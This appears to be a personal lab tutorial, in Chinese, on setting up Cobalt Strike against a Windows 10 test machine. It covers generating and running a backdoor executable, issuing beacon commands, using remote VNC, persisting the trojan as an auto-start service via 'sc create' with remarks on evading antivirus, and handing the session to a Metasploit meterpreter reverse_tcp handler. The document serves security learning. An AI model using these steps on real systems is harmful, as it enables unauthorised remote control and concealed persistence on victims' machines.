配置

  • kali linux 服务端
  • Windows 11 客户端
  • Windows 10 目标机

安装Cobalt Strike

cs分为客户端和服务端
打开下载好的cs的文件(Win11&kali各一份)

启动Cobalt Strike需要JDK支持,所以要安装Java环境(kali自带java环境)


CS上线流程

启动服务端

确保teamserver有足够权限

1
chmod 777 teamserver

启动客户端

在Win11上点击cs.bat启动

第一次连接时会有一个指纹校验,我已经连接过了所以没有弹出

成功登入


CS基础使用

监听

作用:当生成的payload上线后可以监听到

  • 添加监听

  • 设置监听

生成.exe文件


将生成的后门上传到win10

上线

当点击运行exe文件时,显示一台主机上线

测试

命令测试

1
shell whoami

Beacon每次回连时间默认为60秒,回连后执行命令的任务会被下发,并成功回显命令的执行结果,所以命令执行后需要一段时间来显示结果,不会立即显示

远程VNC


无状态木马

有状态木马(系统开机重启后继续运行)(会被杀软检测):
行为状态:添加服务器,启动项,注册表,添加用户,修改用户组或用户权限等,做后门,权限维持

无状态木马:起了一个进程,通过进程可以连接到目标主机来进行控制,后手动(通过目标主机操作指令来添加)将无状态木马程序添加到服务项、注册表等(这样杀软检测不到)

服务器一般不装杀软

前面上线的步骤和有状态木马一样

无状态木马虽然能上线,但是不能以服务的形式启动,所以手动将木马程序以服务的形式启动
以管理员身份创建开机自启动服务

1
2
3
4
5
6
7
8
9
10
11
12
1.添加服务
Sc create test binpath= "c:\test.exe" start= auto displayname= "test"
# sc指令 创建名为test服务 路径为c:\test.exe 启动方式为开机自启动 服务名为test

2.启动服务
Sc start test

3.停止服务
Sc top test

4.删除服务
Sc delete test


我试过一直启动失败,布吉岛是哪里的原因,可能普通木马程序不能直接注册为服务?(gpt的)


与metasploit相结合

利用msf来进行后渗透

启动msf

1
msfconsole

用tcp与cs进行反向连接
lhost -> kali的ip地址

1
2
3
4
5
6
7
8
9
10
11
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.xxx(kali_ip)
lhost => 192.xxx(kali_ip)
msf6 exploit(multi/handler) > set lport 4433
lport => 4433
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on kali_ip:port

创建一个新的监听
Beacon HTTP 是本机与别人建立联系时选择
Foreign HTTP 外部主机连接

增加会话以建立连接

选择msf
将cs的会话连接增加会话转给了msf
连接成功

msf拿到反弹shell后也可转给cs(还没研究)